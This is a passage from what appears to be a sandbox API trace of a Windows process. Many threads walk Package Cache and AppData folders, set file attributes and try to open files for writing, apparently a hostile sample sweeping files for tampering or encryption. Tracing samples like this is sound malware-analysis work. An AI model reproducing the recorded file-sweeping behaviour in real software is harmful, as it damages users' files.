Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\" [0150.266] wcscat (in: _Dest=0xd4c6e00, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*" [0150.266] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x967518 [0150.266] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x967518 | out: lpFindFileData=0x967518*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942870 [0150.267] wcscmp (_String1=".", _String2=".") returned 0 [0150.267] FindNextFileW (in: hFindFile=0x942870, lpFindFileData=0x967518 | out: lpFindFileData=0x967518*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.267] wcscmp (_String1="..", _String2=".") returned 1 [0150.267] wcscmp (_String1="..", _String2="..") returned 0 [0150.267] FindNextFileW (in: hFindFile=0x942870, lpFindFileData=0x967518 | out: lpFindFileData=0x967518*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0150.267] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1 [0150.267] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1 [0150.267] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xde) returned 0x904948 [0150.267] wcscpy (in: _Dest=0x904948, _Source="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0150.267] wcscat (in: _Dest=0x904948, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\" [0150.267] wcscat (in: _Dest=0x904948, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" [0152.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x904948, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a8 [0152.846] FindNextFileW (in: hFindFile=0x942870, lpFindFileData=0x967518 | out: lpFindFileData=0x967518*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0152.846] FindClose (in: hFindFile=0x942870 | out: hFindFile=0x942870) returned 1 [0152.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x967518) returned 1 [0152.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6e00) returned 1 [0152.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f45a8) returned 1 Thread: id = 2960 os_tid = 0x1adc [0150.267] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb4) returned 0xd4c6ec0 [0150.267] wcscpy (in: _Dest=0xd4c6ec0, _Source="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0150.267] wcscat (in: _Dest=0xd4c6ec0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\" [0150.267] wcscat (in: _Dest=0xd4c6ec0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*" [0150.267] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x967c50 [0150.267] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x967c50 | out: lpFindFileData=0x967c50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942830 [0150.268] wcscmp (_String1=".", _String2=".") returned 0 [0150.268] FindNextFileW (in: hFindFile=0x942830, lpFindFileData=0x967c50 | out: lpFindFileData=0x967c50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.268] wcscmp (_String1="..", _String2=".") returned 1 [0150.268] wcscmp (_String1="..", _String2="..") returned 0 [0150.268] FindNextFileW (in: hFindFile=0x942830, lpFindFileData=0x967c50 | out: lpFindFileData=0x967c50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0150.268] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1 [0150.268] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1 [0150.268] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe0) returned 0x904a30 [0150.268] wcscpy (in: _Dest=0x904a30, _Source="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0150.268] wcscat (in: _Dest=0x904a30, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\" [0150.268] wcscat (in: _Dest=0x904a30, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" [0152.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x904a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1868 [0152.848] FindNextFileW (in: hFindFile=0x942830, lpFindFileData=0x967c50 | out: lpFindFileData=0x967c50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0152.848] FindClose (in: hFindFile=0x942830 | out: hFindFile=0x942830) returned 1 [0152.848] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x967c50) returned 1 [0152.848] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6ec0) returned 1 [0152.848] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f47d0) returned 1 Thread: id = 2961 os_tid = 0x1ae0 [0150.268] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb4) returned 0xd4c6f80 [0150.268] wcscpy (in: _Dest=0xd4c6f80, _Source="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0150.268] wcscat (in: _Dest=0xd4c6f80, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\" [0150.268] wcscat (in: _Dest=0xd4c6f80, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*" [0150.268] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x967eb8 [0150.268] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b5f8 [0150.269] wcscmp (_String1=".", _String2=".") returned 0 [0150.269] FindNextFileW (in: hFindFile=0x93b5f8, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.269] wcscmp (_String1="..", _String2=".") returned 1 [0150.269] wcscmp (_String1="..", _String2="..") returned 0 [0150.269] FindNextFileW (in: hFindFile=0x93b5f8, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0150.269] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1 [0150.269] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1 [0150.269] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xda) returned 0x904b18 [0150.269] wcscpy (in: _Dest=0x904b18, _Source="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0150.269] wcscat (in: _Dest=0x904b18, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\" [0150.269] wcscat (in: _Dest=0x904b18, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" [0151.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x904b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474 [0151.731] FindNextFileW (in: hFindFile=0x93b5f8, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0151.731] FindClose (in: hFindFile=0x93b5f8 | out: hFindFile=0x93b5f8) returned 1 [0151.732] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x967eb8) returned 1 [0151.732] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6f80) returned 1 [0151.732] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4940) returned 1 Thread: id = 2962 os_tid = 0x1ae4 [0150.269] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm")) returned 0x20 [0150.269] SetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", dwFileAttributes=0x20) returned 0 [0150.270] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.270] GetLastError () returned 0x5 [0150.270] SetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", dwFileAttributes=0x20) returned 0 [0150.270] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934f00) returned 1 Thread: id = 2963 os_tid = 0x1ae8 [0150.271] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb4) returned 0xd4c7040 [0150.271] wcscpy (in: _Dest=0xd4c7040, _Source="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0150.271] wcscat (in: _Dest=0xd4c7040, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\" [0150.271] wcscat (in: _Dest=0xd4c7040, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*" [0150.271] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x966440 [0150.271] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b638 [0150.271] wcscmp (_String1=".", _String2=".") returned 0 [0150.271] FindNextFileW (in: hFindFile=0x93b638, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.271] wcscmp (_String1="..", _String2=".") returned 1 [0150.271] wcscmp (_String1="..", _String2="..") returned 0 [0150.271] FindNextFileW (in: hFindFile=0x93b638, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0150.271] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1 [0150.271] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1 [0150.271] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xde) returned 0x8f67a8 [0150.271] wcscpy (in: _Dest=0x8f67a8, _Source="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0150.271] wcscat (in: _Dest=0x8f67a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\" [0150.271] wcscat (in: _Dest=0x8f67a8, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" [0151.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f67a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1870 [0151.733] FindNextFileW (in: hFindFile=0x93b638, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0151.733] FindClose (in: hFindFile=0x93b638 | out: hFindFile=0x93b638) returned 1 [0151.734] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x966440) returned 1 [0151.734] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c7040) returned 1 [0151.734] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4ab0) returned 1 Thread: id = 2975 os_tid = 0x1b18 [0150.288] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help{9daa54e8-cd95-4107-8e7f-ba3f24732d95}.h1q")) returned 0x2026 [0150.288] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", dwFileAttributes=0x20) returned 0 [0150.288] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help{9daa54e8-cd95-4107-8e7f-ba3f24732d95}.h1q"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.288] GetLastError () returned 0x5 [0150.288] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", dwFileAttributes=0x2026) returned 0 [0150.288] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dcee0) returned 1 Thread: id = 2977 os_tid = 0x1b20 [0150.291] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0x941bc0 [0150.291] wcscpy (in: _Dest=0x941bc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" [0150.291] wcscat (in: _Dest=0x941bc0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\" [0150.291] wcscat (in: _Dest=0x941bc0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*" [0150.291] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x966b78 [0150.291] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x966b78 | out: lpFindFileData=0x966b78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b4b8 [0150.291] wcscmp (_String1=".", _String2=".") returned 0 [0150.291] FindNextFileW (in: hFindFile=0x93b4b8, lpFindFileData=0x966b78 | out: lpFindFileData=0x966b78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, 